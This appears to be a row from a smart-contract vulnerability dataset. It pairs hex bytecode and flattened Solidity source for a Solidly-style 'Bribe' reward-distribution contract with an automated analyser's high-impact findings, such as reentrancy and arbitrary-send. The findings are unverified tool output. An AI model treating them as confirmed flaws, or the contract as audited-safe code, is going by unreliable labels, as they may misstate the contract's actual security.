103f81611978565b600060208284031215611797578081fd5b815161103f81611978565b6000602082840312156117b3578081fd5b5035919050565b6000806000606084860312156117ce578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611813578581018301518582016040015282016117f7565b818111156118245783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156118be5784516001600160a01b031683529383019391830191600101611899565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118f2576118f261194d565b500190565b60008261191257634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156119315761193161194d565b500290565b6000828210156119485761194861194d565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461045757600080fd5b801515811461045757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122033419e65b87384c9179933509143af5001defb9b4d028efb253a5b782bf07d8864736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 2,624 |
0xd446cd4F90b0dde607D7E0a0c2CE18ac3A8384e2
|
// Sources flattened with hardhat v2.8.4 https://hardhat.org
// File srcBuild/Bribe.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
library Math {
function max(uint a, uint b) internal pure returns (uint) {
return a >= b ? a : b;
}
function min(uint a, uint b) internal pure returns (uint) {
return a < b ? a : b;
}
}
interface erc20 {
function totalSupply() external view returns (uint256);
function transfer(address recipient, uint amount) external returns (bool);
function balanceOf(address) external view returns (uint);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
}
interface ve {
function isApprovedOrOwner(address, uint) external view returns (bool);
function ownerOf(uint) external view returns (address);
}
interface IVoter {
function _ve() external view returns (address);
}
// Bribes pay out rewards for a given pool based on the votes that were received from the user (goes hand in hand with BaseV1Gauges.vote())
contract Bribe {
address public immutable factory; // only factory can modify balances (since it only happens on vote())
address public immutable _ve;
uint public constant DURATION = 7 days; // rewards are released over 7 days
uint public constant PRECISION = 10 ** 18;
// default snx staking contract implementation
mapping(address => uint) public rewardRate;
mapping(address => uint) public periodFinish;
mapping(address => uint) public lastUpdateTime;
mapping(address => uint) public rewardPerTokenStored;
mapping(address => mapping(uint => uint)) public lastEarn;
mapping(address => mapping(uint => uint)) public userRewardPerTokenStored;
address[] public rewards;
mapping(address => bool) public isReward;
uint public totalSupply;
mapping(uint => uint) public balanceOf;
/// @notice A checkpoint for marking balance
struct Checkpoint {
uint timestamp;
uint balanceOf;
}
/// @notice A checkpoint for marking reward rate
struct RewardPerTokenCheckpoint {
uint timestamp;
uint rewardPerToken;
}
/// @notice A checkpoint for marking supply
struct SupplyCheckpoint {
uint timestamp;
uint supply;
}
/// @notice A record of balance checkpoints for each account, by index
mapping (uint => mapping (uint => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (uint => uint) public numCheckpoints;
/// @notice A record of balance checkpoints for each token, by index
mapping (uint => SupplyCheckpoint) public supplyCheckpoints;
/// @notice The number of checkpoints
uint public supplyNumCheckpoints;
/// @notice A record of balance checkpoints for each token, by index
mapping (address => mapping (uint => RewardPerTokenCheckpoint)) public rewardPerTokenCheckpoints;
/// @notice The number of checkpoints for each token
mapping (address => uint) public rewardPerTokenNumCheckpoints;
event Deposit(address indexed from, uint tokenId, uint amount);
event Withdraw(address indexed from, uint tokenId, uint amount);
event NotifyReward(address indexed from, address indexed reward, uint amount);
event ClaimRewards(address indexed from, address indexed reward, uint amount);
constructor(address _factory) {
factory = _factory;
_ve = IVoter(_factory)._ve();
}
// simple re-entrancy check
uint internal _unlocked = 1;
modifier lock() {
require(_unlocked == 1);
_unlocked = 2;
_;
_unlocked = 1;
}
/**
* @notice Determine the prior balance for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param tokenId The token of the NFT to check
* @param timestamp The timestamp to get the balance at
* @return The balance the account had as of the given block
*/
function getPriorBalanceIndex(uint tokenId, uint timestamp) public view returns (uint) {
uint nCheckpoints = numCheckpoints[tokenId];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[tokenId][nCheckpoints - 1].timestamp <= timestamp) {
return (nCheckpoints - 1);
}
// Next check implicit zero balance
if (checkpoints[tokenId][0].timestamp > timestamp) {
return 0;
}
uint lower = 0;
uint upper = nCheckpoints - 1;
while (upper > lower) {
uint center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[tokenId][center];
if (cp.timestamp == timestamp) {
return center;
} else if (cp.timestamp < timestamp) {
lower = center;
} else {
upper = center - 1;
}
}
return lower;
}
function getPriorSupplyIndex(uint timestamp) public view returns (uint) {
uint nCheckpoints = supplyNumCheckpoints;
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (supplyCheckpoints[nCheckpoints - 1].timestamp <= timestamp) {
return (nCheckpoints - 1);
}
// Next check implicit zero balance
if (supplyCheckpoints[0].timestamp > timestamp) {
return 0;
}
uint lower = 0;
uint upper = nCheckpoints - 1;
while (upper > lower) {
uint center = upper - (upper - lower) / 2; // ceil, avoiding overflow
SupplyCheckpoint memory cp = supplyCheckpoints[center];
if (cp.timestamp == timestamp) {
return center;
} else if (cp.timestamp < timestamp) {
lower = center;
} else {
upper = center - 1;
}
}
return lower;
}
function getPriorRewardPerToken(address token, uint timestamp) public view returns (uint, uint) {
uint nCheckpoints = rewardPerTokenNumCheckpoints[token];
if (nCheckpoints == 0) {
return (0,0);
}
// First check most recent balance
if (rewardPerTokenCheckpoints[token][nCheckpoints - 1].timestamp <= timestamp) {
return (rewardPerTokenCheckpoints[token][nCheckpoints - 1].rewardPerToken, rewardPerTokenCheckpoints[token][nCheckpoints - 1].timestamp);
}
// Next check implicit zero balance
if (rewardPerTokenCheckpoints[token][0].timestamp > timestamp) {
return (0,0);
}
uint lower = 0;
uint upper = nCheckpoints - 1;
while (upper > lower) {
uint center = upper - (upper - lower) / 2; // ceil, avoiding overflow
RewardPerTokenCheckpoint memory cp = rewardPerTokenCheckpoints[token][center];
if (cp.timestamp == timestamp) {
return (cp.rewardPerToken, cp.timestamp);
} else if (cp.timestamp < timestamp) {
lower = center;
} else {
upper = center - 1;
}
}
return (rewardPerTokenCheckpoints[token][lower].rewardPerToken, rewardPerTokenCheckpoints[token][lower].timestamp);
}
function _writeCheckpoint(uint tokenId, uint balance) internal {
uint _timestamp = block.timestamp;
uint _nCheckPoints = numCheckpoints[tokenId];
if (_nCheckPoints > 0 && checkpoints[tokenId][_nCheckPoints - 1].timestamp == _timestamp) {
checkpoints[tokenId][_nCheckPoints - 1].balanceOf = balance;
} else {
checkpoints[tokenId][_nCheckPoints] = Checkpoint(_timestamp, balance);
numCheckpoints[tokenId] = _nCheckPoints + 1;
}
}
function _writeRewardPerTokenCheckpoint(address token, uint reward, uint timestamp) internal {
uint _nCheckPoints = rewardPerTokenNumCheckpoints[token];
if (_nCheckPoints > 0 && rewardPerTokenCheckpoints[token][_nCheckPoints - 1].timestamp == timestamp) {
rewardPerTokenCheckpoints[token][_nCheckPoints - 1].rewardPerToken = reward;
} else {
rewardPerTokenCheckpoints[token][_nCheckPoints] = RewardPerTokenCheckpoint(timestamp, reward);
rewardPerTokenNumCheckpoints[token] = _nCheckPoints + 1;
}
}
function _writeSupplyCheckpoint() internal {
uint _nCheckPoints = supplyNumCheckpoints;
uint _timestamp = block.timestamp;
if (_nCheckPoints > 0 && supplyCheckpoints[_nCheckPoints - 1].timestamp == _timestamp) {
supplyCheckpoints[_nCheckPoints - 1].supply = totalSupply;
} else {
supplyCheckpoints[_nCheckPoints] = SupplyCheckpoint(_timestamp, totalSupply);
supplyNumCheckpoints = _nCheckPoints + 1;
}
}
function rewardsListLength() external view returns (uint) {
return rewards.length;
}
// returns the last time the reward was modified or periodFinish if the reward has ended
function lastTimeRewardApplicable(address token) public view returns (uint) {
return Math.min(block.timestamp, periodFinish[token]);
}
// allows a user to claim rewards for a given token
function getReward(uint tokenId, address[] memory tokens) external lock {
require(ve(_ve).isApprovedOrOwner(msg.sender, tokenId));
for (uint i = 0; i < tokens.length; i++) {
(rewardPerTokenStored[tokens[i]], lastUpdateTime[tokens[i]]) = _updateRewardPerToken(tokens[i]);
uint _reward = earned(tokens[i], tokenId);
lastEarn[tokens[i]][tokenId] = block.timestamp;
userRewardPerTokenStored[tokens[i]][tokenId] = rewardPerTokenStored[tokens[i]];
if (_reward > 0) _safeTransfer(tokens[i], msg.sender, _reward);
emit ClaimRewards(msg.sender, tokens[i], _reward);
}
}
// used by BaseV1Voter to allow batched reward claims
function getRewardForOwner(uint tokenId, address[] memory tokens) external lock {
require(msg.sender == factory);
address _owner = ve(_ve).ownerOf(tokenId);
for (uint i = 0; i < tokens.length; i++) {
(rewardPerTokenStored[tokens[i]], lastUpdateTime[tokens[i]]) = _updateRewardPerToken(tokens[i]);
uint _reward = earned(tokens[i], tokenId);
lastEarn[tokens[i]][tokenId] = block.timestamp;
userRewardPerTokenStored[tokens[i]][tokenId] = rewardPerTokenStored[tokens[i]];
if (_reward > 0) _safeTransfer(tokens[i], _owner, _reward);
emit ClaimRewards(_owner, tokens[i], _reward);
}
}
function rewardPerToken(address token) public view returns (uint) {
if (totalSupply == 0) {
return rewardPerTokenStored[token];
}
return rewardPerTokenStored[token] + ((lastTimeRewardApplicable(token) - Math.min(lastUpdateTime[token], periodFinish[token])) * rewardRate[token] * PRECISION / totalSupply);
}
function batchRewardPerToken(address token, uint maxRuns) external {
(rewardPerTokenStored[token], lastUpdateTime[token]) = _batchRewardPerToken(token, maxRuns);
}
function _batchRewardPerToken(address token, uint maxRuns) internal returns (uint, uint) {
uint _startTimestamp = lastUpdateTime[token];
uint reward = rewardPerTokenStored[token];
if (supplyNumCheckpoints == 0) {
return (reward, _startTimestamp);
}
if (rewardRate[token] == 0) {
return (reward, block.timestamp);
}
uint _startIndex = getPriorSupplyIndex(_startTimestamp);
uint _endIndex = Math.min(supplyNumCheckpoints-1, maxRuns);
for (uint i = _startIndex; i < _endIndex; i++) {
SupplyCheckpoint memory sp0 = supplyCheckpoints[i];
if (sp0.supply > 0) {
SupplyCheckpoint memory sp1 = supplyCheckpoints[i+1];
(uint _reward, uint endTime) = _calcRewardPerToken(token, sp1.timestamp, sp0.timestamp, sp0.supply, _startTimestamp);
reward += _reward;
_writeRewardPerTokenCheckpoint(token, reward, endTime);
_startTimestamp = endTime;
}
}
return (reward, _startTimestamp);
}
function _calcRewardPerToken(address token, uint timestamp1, uint timestamp0, uint supply, uint startTimestamp) internal view returns (uint, uint) {
uint endTime = Math.max(timestamp1, startTimestamp);
return (((Math.min(endTime, periodFinish[token]) - Math.min(Math.max(timestamp0, startTimestamp), periodFinish[token])) * rewardRate[token] * PRECISION / supply), endTime);
}
function _updateRewardPerToken(address token) internal returns (uint, uint) {
uint _startTimestamp = lastUpdateTime[token];
uint reward = rewardPerTokenStored[token];
if (supplyNumCheckpoints == 0) {
return (reward, _startTimestamp);
}
if (rewardRate[token] == 0) {
return (reward, block.timestamp);
}
uint _startIndex = getPriorSupplyIndex(_startTimestamp);
uint _endIndex = supplyNumCheckpoints-1;
if (_endIndex - _startIndex > 1) {
for (uint i = _startIndex; i < _endIndex-1; i++) {
SupplyCheckpoint memory sp0 = supplyCheckpoints[i];
if (sp0.supply > 0) {
SupplyCheckpoint memory sp1 = supplyCheckpoints[i+1];
(uint _reward, uint _endTime) = _calcRewardPerToken(token, sp1.timestamp, sp0.timestamp, sp0.supply, _startTimestamp);
reward += _reward;
_writeRewardPerTokenCheckpoint(token, reward, _endTime);
_startTimestamp = _endTime;
}
}
}
SupplyCheckpoint memory sp = supplyCheckpoints[_endIndex];
if (sp.supply > 0) {
(uint _reward,) = _calcRewardPerToken(token, lastTimeRewardApplicable(token), Math.max(sp.timestamp, _startTimestamp), sp.supply, _startTimestamp);
reward += _reward;
_writeRewardPerTokenCheckpoint(token, reward, block.timestamp);
_startTimestamp = block.timestamp;
}
return (reward, _startTimestamp);
}
function earned(address token, uint tokenId) public view returns (uint) {
uint _startTimestamp = Math.max(lastEarn[token][tokenId], rewardPerTokenCheckpoints[token][0].timestamp);
if (numCheckpoints[tokenId] == 0) {
return 0;
}
uint _startIndex = getPriorBalanceIndex(tokenId, _startTimestamp);
uint _endIndex = numCheckpoints[tokenId]-1;
uint reward = 0;
if (_endIndex - _startIndex > 1) {
for (uint i = _startIndex; i < _endIndex-1; i++) {
Checkpoint memory cp0 = checkpoints[tokenId][i];
Checkpoint memory cp1 = checkpoints[tokenId][i+1];
(uint _rewardPerTokenStored0,) = getPriorRewardPerToken(token, cp0.timestamp);
(uint _rewardPerTokenStored1,) = getPriorRewardPerToken(token, cp1.timestamp);
reward += cp0.balanceOf * (_rewardPerTokenStored1 - _rewardPerTokenStored0) / PRECISION;
}
}
Checkpoint memory cp = checkpoints[tokenId][_endIndex];
(uint _rewardPerTokenStored,) = getPriorRewardPerToken(token, cp.timestamp);
reward += cp.balanceOf * (rewardPerToken(token) - Math.max(_rewardPerTokenStored, userRewardPerTokenStored[token][tokenId])) / PRECISION;
return reward;
}
// This is an external function, but internal notation is used since it can only be called "internally" from BaseV1Gauges
function _deposit(uint amount, uint tokenId) external {
require(msg.sender == factory);
totalSupply += amount;
balanceOf[tokenId] += amount;
_writeCheckpoint(tokenId, balanceOf[tokenId]);
_writeSupplyCheckpoint();
emit Deposit(msg.sender, tokenId, amount);
}
function _withdraw(uint amount, uint tokenId) external {
require(msg.sender == factory);
totalSupply -= amount;
balanceOf[tokenId] -= amount;
_writeCheckpoint(tokenId, balanceOf[tokenId]);
_writeSupplyCheckpoint();
emit Withdraw(msg.sender, tokenId, amount);
}
function left(address token) external view returns (uint) {
if (block.timestamp >= periodFinish[token]) return 0;
uint _remaining = periodFinish[token] - block.timestamp;
return _remaining * rewardRate[token];
}
// used to notify a gauge/bribe of a given reward, this can create griefing attacks by extending rewards
function notifyRewardAmount(address token, uint amount) external lock {
require(amount > 0);
if (rewardRate[token] == 0) _writeRewardPerTokenCheckpoint(token, 0, block.timestamp);
(rewardPerTokenStored[token], lastUpdateTime[token]) = _updateRewardPerToken(token);
if (block.timestamp >= periodFinish[token]) {
_safeTransferFrom(token, msg.sender, address(this), amount);
rewardRate[token] = amount / DURATION;
} else {
uint _remaining = periodFinish[token] - block.timestamp;
uint _left = _remaining * rewardRate[token];
require(amount > _left);
_safeTransferFrom(token, msg.sender, address(this), amount);
rewardRate[token] = (amount + _left) / DURATION;
}
require(rewardRate[token] > 0);
uint balance = erc20(token).balanceOf(address(this));
require(rewardRate[token] <= balance / DURATION, "Provided reward too high");
periodFinish[token] = block.timestamp + DURATION;
if (!isReward[token]) {
isReward[token] = true;
rewards.push(token);
}
emit NotifyReward(msg.sender, token, amount);
}
function _safeTransfer(address token, address to, uint256 value) internal {
require(token.code.length > 0);
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(erc20.transfer.selector, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))));
}
function _safeTransferFrom(address token, address from, address to, uint256 value) internal {
require(token.code.length > 0);
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(erc20.transferFrom.selector, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))));
}
}
contract BribeFactory {
address public last_gauge;
function createBribe() external returns (address) {
last_gauge = address(new Bribe(msg.sender));
return last_gauge;
}
}
|
0x608060405234801561001057600080fd5b50600436106102065760003560e01c80639e2bf22c1161011a578063e6886396116100ad578063f301af421161007c578063f301af4214610559578063f32077231461056c578063f5f8d3651461057f578063f7412baf14610592578063fd314098146105b957600080fd5b8063e68863961461050a578063e8111a1214610512578063f12297771461051b578063f25e55a51461052e57600080fd5b8063aaf5eb68116100e9578063aaf5eb68146104a1578063b66503cf146104b0578063c45a0155146104c3578063da09d19d146104ea57600080fd5b80639e2bf22c14610448578063a28d4c9c1461045b578063a7852afa1461046e578063aa4796521461048157600080fd5b80634d5ce0381161019d57806376f4be361161016c57806376f4be36146103a35780638dd598fb146103b657806399bcc052146103f55780639cc7f708146104085780639ce43f901461042857600080fd5b80634d5ce03814610328578063505897931461035b5780635a45d0521461037b578063638634ee1461039057600080fd5b80632ce9aead116101d95780632ce9aead146102985780633b881999146102b85780633e491d47146102e357806349dcc204146102f657600080fd5b806301316ddf1461020b57806318160ddd146102575780631be052891461026e578063221ca18c14610278575b600080fd5b61023d610219366004612243565b600e6020908152600092835260408084209091529082529020805460019091015482565b604080519283526020830191909152015b60405180910390f35b61026060085481565b60405190815260200161024e565b61026062093a8081565b61026061028636600461226f565b60006020819052908152604090205481565b6102606102a636600461226f565b60026020526000908152604090205481565b6102606102c6366004612243565b600560209081526000928352604080842090915290825290205481565b6102606102f1366004612243565b6105cc565b61023d61030436600461228c565b600a6020908152600092835260408084209091529082529020805460019091015482565b61034b61033636600461226f565b60076020526000908152604090205460ff1681565b604051901515815260200161024e565b6102606103693660046122ae565b600b6020526000908152604090205481565b61038e610389366004612243565b610834565b005b61026061039e36600461226f565b61086c565b6102606103b13660046122ae565b610890565b6103dd7f0000000000000000000000006f5a22e1508410e40bfecf3b18bc9dcc143ed90681565b6040516001600160a01b03909116815260200161024e565b61026061040336600461226f565b6109c2565b6102606104163660046122ae565b60096020526000908152604090205481565b61026061043636600461226f565b60036020526000908152604090205481565b61038e61045636600461228c565b610a33565b61026061046936600461228c565b610b04565b61038e61047c3660046122dd565b610c47565b61026061048f36600461226f565b600f6020526000908152604090205481565b610260670de0b6b3a764000081565b61038e6104be366004612243565b610f87565b6103dd7f00000000000000000000000042fd5b17d55f243c3ff28a38bb49bccbef48a7b081565b6102606104f836600461226f565b60016020526000908152604090205481565b600654610260565b610260600d5481565b61026061052936600461226f565b6112ce565b61026061053c366004612243565b600460209081526000928352604080842090915290825290205481565b6103dd6105673660046122ae565b61138c565b61038e61057a36600461228c565b6113b6565b61038e61058d3660046122dd565b61147f565b61023d6105a03660046122ae565b600c602052600090815260409020805460019091015482565b61023d6105c7366004612243565b611786565b6001600160a01b0382166000818152600460209081526040808320858452825280832054938352600e82528083208380529091528120549091829161061191906119a5565b6000848152600b602052604090205490915061063157600091505061082e565b600061063d8483610b04565b6000858152600b60205260408120549192509061065c906001906123c4565b90506000600161066c84846123c4565b111561077257825b61067f6001846123c4565b811015610770576000878152600a60208181526040808420858552808352818520825180840190935280548352600190810154838501528c865293909252929182906106cc9086906123db565b8152602001908152602001600020604051806040016040529081600082015481526020016001820154815250509050600061070b8b8460000151611786565b509050600061071e8c8460000151611786565b509050670de0b6b3a764000061073483836123c4565b856020015161074391906123f3565b61074d9190612412565b61075790876123db565b955050505050808061076890612434565b915050610674565b505b6000868152600a602090815260408083208584528252808320815180830190925280548083526001909101549282019290925291906107b2908a90611786565b506001600160a01b038a1660009081526005602090815260408083208c8452909152902054909150670de0b6b3a7640000906107ef9083906119a5565b6107f88b6112ce565b61080291906123c4565b836020015161081191906123f3565b61081b9190612412565b61082590846123db565b96505050505050505b92915050565b61083e82826119bc565b6001600160a01b03909316600090815260036020908152604080832060029092529091209390935590915550565b6001600160a01b03811660009081526001602052604081205461082e904290611b1b565b600d54600090806108a45750600092915050565b82600c60006108b46001856123c4565b815260200190815260200160002060000154116108dd576108d66001826123c4565b9392505050565b60008052600c6020527f13649b2456f1b42fef0f0040b3aaeabcd21a76a0f3f5defd4f583839455116e8548310156109185750600092915050565b6000806109266001846123c4565b90505b818111156109ba576000600261093f84846123c4565b6109499190612412565b61095390836123c4565b6000818152600c6020908152604091829020825180840190935280548084526001909101549183019190915291925090871415610994575095945050505050565b80518711156109a5578193506109b3565b6109b06001836123c4565b92505b5050610929565b509392505050565b6001600160a01b03811660009081526001602052604081205442106109e957506000919050565b6001600160a01b038216600090815260016020526040812054610a0d9042906123c4565b6001600160a01b0384166000908152602081905260409020549091506108d690826123f3565b336001600160a01b037f00000000000000000000000042fd5b17d55f243c3ff28a38bb49bccbef48a7b01614610a6857600080fd5b8160086000828254610a7a91906123c4565b909155505060008181526009602052604081208054849290610a9d9084906123c4565b9091555050600081815260096020526040902054610abc908290611b2a565b610ac4611c03565b604080518281526020810184905233917ff279e6a1f5e320cca91135676d9cb6e44ca8a08c0b88342bcdb1144f6511b56891015b60405180910390a25050565b6000828152600b602052604081205480610b2257600091505061082e565b6000848152600a602052604081208491610b3d6001856123c4565b81526020019081526020016000206000015411610b6757610b5f6001826123c4565b91505061082e565b6000848152600a60209081526040808320838052909152902054831015610b9257600091505061082e565b600080610ba06001846123c4565b90505b81811115610c3e5760006002610bb984846123c4565b610bc39190612412565b610bcd90836123c4565b6000888152600a60209081526040808320848452825291829020825180840190935280548084526001909101549183019190915291925090871415610c185750935061082e92505050565b8051871115610c2957819350610c37565b610c346001836123c4565b92505b5050610ba3565b50949350505050565b601054600114610c5657600080fd5b6002601055336001600160a01b037f00000000000000000000000042fd5b17d55f243c3ff28a38bb49bccbef48a7b01614610c9057600080fd5b6040516331a9108f60e11b8152600481018390526000907f0000000000000000000000006f5a22e1508410e40bfecf3b18bc9dcc143ed9066001600160a01b031690636352211e90602401602060405180830381865afa158015610cf8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d1c919061244f565b905060005b8251811015610f7c57610d4c838281518110610d3f57610d3f61246c565b6020026020010151611ca7565b60036000868581518110610d6257610d6261246c565b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020600060026000888781518110610da257610da261246c565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060008491905055839190505550506000610dfd848381518110610def57610def61246c565b6020026020010151866105cc565b90504260046000868581518110610e1657610e1661246c565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060008781526020019081526020016000208190555060036000858481518110610e6957610e6961246c565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000205460056000868581518110610ea857610ea861246c565b6020908102919091018101516001600160a01b0316825281810192909252604090810160009081208982529092529020558015610f0357610f03848381518110610ef457610ef461246c565b60200260200101518483611e8a565b838281518110610f1557610f1561246c565b60200260200101516001600160a01b0316836001600160a01b03167f9aa05b3d70a9e3e2f004f039648839560576334fb45c81f91b6db03ad9e2efc983604051610f6191815260200190565b60405180910390a35080610f7481612434565b915050610d21565b505060016010555050565b601054600114610f9657600080fd5b600260105580610fa557600080fd5b6001600160a01b038216600090815260208190526040902054610fce57610fce82600042611f79565b610fd782611ca7565b6001600160a01b03841660009081526003602090815260408083206002835281842094909455939092556001909152205442106110455761101a82333084612068565b61102762093a8082612412565b6001600160a01b0383166000908152602081905260409020556110de565b6001600160a01b0382166000908152600160205260408120546110699042906123c4565b6001600160a01b0384166000908152602081905260408120549192509061109090836123f3565b905080831161109e57600080fd5b6110aa84333086612068565b62093a806110b882856123db565b6110c29190612412565b6001600160a01b03851660009081526020819052604090205550505b6001600160a01b03821660009081526020819052604090205461110057600080fd5b6040516370a0823160e01b81523060048201526000906001600160a01b038416906370a0823190602401602060405180830381865afa158015611147573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116b9190612482565b905061117a62093a8082612412565b6001600160a01b03841660009081526020819052604090205411156111e55760405162461bcd60e51b815260206004820152601860248201527f50726f76696465642072657761726420746f6f20686967680000000000000000604482015260640160405180910390fd5b6111f262093a80426123db565b6001600160a01b03841660009081526001602090815260408083209390935560079052205460ff16611284576001600160a01b0383166000818152600760205260408120805460ff191660019081179091556006805491820181559091527ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f0180546001600160a01b03191690911790555b6040518281526001600160a01b0384169033907ff70d5c697de7ea828df48e5c4573cb2194c659f1901f70110c52b066dcf508269060200160405180910390a35050600160105550565b6000600854600014156112f757506001600160a01b031660009081526003602052604090205490565b6008546001600160a01b0383166000908152602081815260408083205460028352818420546001909352922054670de0b6b3a7640000929161133891611b1b565b6113418661086c565b61134b91906123c4565b61135591906123f3565b61135f91906123f3565b6113699190612412565b6001600160a01b03831660009081526003602052604090205461082e91906123db565b6006818154811061139c57600080fd5b6000918252602090912001546001600160a01b0316905081565b336001600160a01b037f00000000000000000000000042fd5b17d55f243c3ff28a38bb49bccbef48a7b016146113eb57600080fd5b81600860008282546113fd91906123db565b9091555050600081815260096020526040812080548492906114209084906123db565b909155505060008181526009602052604090205461143f908290611b2a565b611447611c03565b604080518281526020810184905233917f90890809c654f11d6e72a28fa60149770a0d11ec6c92319d6ceb2bb0a4ea1a159101610af8565b60105460011461148e57600080fd5b600260105560405163430c208160e01b8152336004820152602481018390527f0000000000000000000000006f5a22e1508410e40bfecf3b18bc9dcc143ed9066001600160a01b03169063430c208190604401602060405180830381865afa1580156114fe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611522919061249b565b61152b57600080fd5b60005b815181101561177c5761154c828281518110610d3f57610d3f61246c565b600360008585815181106115625761156261246c565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000206000600260008787815181106115a2576115a261246c565b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020600084919050558391905055505060006115fd8383815181106115ef576115ef61246c565b6020026020010151856105cc565b905042600460008585815181106116165761161661246c565b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020600086815260200190815260200160002081905550600360008484815181106116695761166961246c565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002054600560008585815181106116a8576116a861246c565b6020908102919091018101516001600160a01b0316825281810192909252604090810160009081208882529092529020558015611703576117038383815181106116f4576116f461246c565b60200260200101513383611e8a565b8282815181106117155761171561246c565b60200260200101516001600160a01b0316336001600160a01b03167f9aa05b3d70a9e3e2f004f039648839560576334fb45c81f91b6db03ad9e2efc98360405161176191815260200190565b60405180910390a3508061177481612434565b91505061152e565b5050600160105550565b6001600160a01b0382166000908152600f60205260408120548190806117b357600080925092505061199e565b6001600160a01b0385166000908152600e6020526040812085916117d86001856123c4565b81526020019081526020016000206000015411611875576001600160a01b0385166000908152600e60205260408120906118136001846123c4565b815260200190815260200160002060010154600e6000876001600160a01b03166001600160a01b03168152602001908152602001600020600060018461185991906123c4565b815260200190815260200160002060000154925092505061199e565b6001600160a01b0385166000908152600e602090815260408083208380529091529020548410156118ad57600080925092505061199e565b6000806118bb6001846123c4565b90505b8181111561196d57600060026118d484846123c4565b6118de9190612412565b6118e890836123c4565b6001600160a01b0389166000908152600e602090815260408083208484528252918290208251808401909352805480845260019091015491830191909152919250908814156119475760208101519051909650945061199e9350505050565b805188111561195857819350611966565b6119636001836123c4565b92505b50506118be565b506001600160a01b0386166000908152600e6020908152604080832093835292905220600181015490549093509150505b9250929050565b6000818310156119b557816108d6565b5090919050565b6001600160a01b0382166000908152600260209081526040808320546003909252822054600d54839291906119f4579250905061199e565b6001600160a01b038616600090815260208190526040902054611a1d57925042915061199e9050565b6000611a2883610890565b90506000611a446001600d54611a3e91906123c4565b88611b1b565b9050815b81811015611b0c576000818152600c60209081526040918290208251808401909352805483526001015490820181905215611af9576000600c81611a8d8560016123db565b8152602001908152602001600020604051806040016040529081600082015481526020016001820154815250509050600080611ad88d8460000151866000015187602001518d612160565b9092509050611ae782896123db565b9750611af48d8983611f79565b975050505b5080611b0481612434565b915050611a48565b50919792965091945050505050565b60008183106119b557816108d6565b6000828152600b602052604090205442908015801590611b7457506000848152600a602052604081208391611b606001856123c4565b815260200190815260200160002060000154145b15611bad576000848152600a602052604081208491611b946001856123c4565b8152602081019190915260400160002060010155611bfd565b60408051808201825283815260208082018681526000888152600a8352848120868252909252929020905181559051600191820155611bed9082906123db565b6000858152600b60205260409020555b50505050565b600d54428115801590611c35575080600c6000611c216001866123c4565b815260200190815260200160002060000154145b15611c6457600854600c6000611c4c6001866123c4565b81526020810191909152604001600020600101555050565b60408051808201825282815260085460208083019182526000868152600c90915292909220905181559051600191820155611ca09083906123db565b600d555050565b6001600160a01b0381166000908152600260209081526040808320546003909252822054600d5483929190611cdf5794909350915050565b6001600160a01b038516600090815260208190526040902054611d06579442945092505050565b6000611d1183610890565b905060006001600d54611d2491906123c4565b90506001611d3283836123c4565b1115611e0a57815b611d456001836123c4565b811015611e08576000818152600c60209081526040918290208251808401909352805483526001015490820181905215611df5576000600c81611d898560016123db565b8152602001908152602001600020604051806040016040529081600082015481526020016001820154815250509050600080611dd48c8460000151866000015187602001518d612160565b9092509050611de382896123db565b9750611df08c8983611f79565b975050505b5080611e0081612434565b915050611d3a565b505b6000818152600c60209081526040918290208251808401909352805483526001015490820181905215611e7c576000611e5d89611e468b61086c565b8451611e52908a6119a5565b85602001518a612160565b509050611e6a81866123db565b9450611e77898642611f79565b429550505b509196929550919350505050565b6000836001600160a01b03163b11611ea157600080fd5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b1790529151600092839290871691611efd91906124bd565b6000604051808303816000865af19150503d8060008114611f3a576040519150601f19603f3d011682016040523d82523d6000602084013e611f3f565b606091505b5091509150818015611f69575080511580611f69575080806020019051810190611f69919061249b565b611f7257600080fd5b5050505050565b6001600160a01b0383166000908152600f60205260409020548015801590611fd557506001600160a01b0384166000908152600e602052604081208391611fc16001856123c4565b815260200190815260200160002060000154145b15611fff576001600160a01b0384166000908152600e602052604081208491611b946001856123c4565b60408051808201825283815260208082018681526001600160a01b0388166000908152600e83528481208682529092529290209051815590516001918201556120499082906123db565b6001600160a01b0385166000908152600f602052604090205550505050565b6000846001600160a01b03163b1161207f57600080fd5b604080516001600160a01b0385811660248301528481166044830152606480830185905283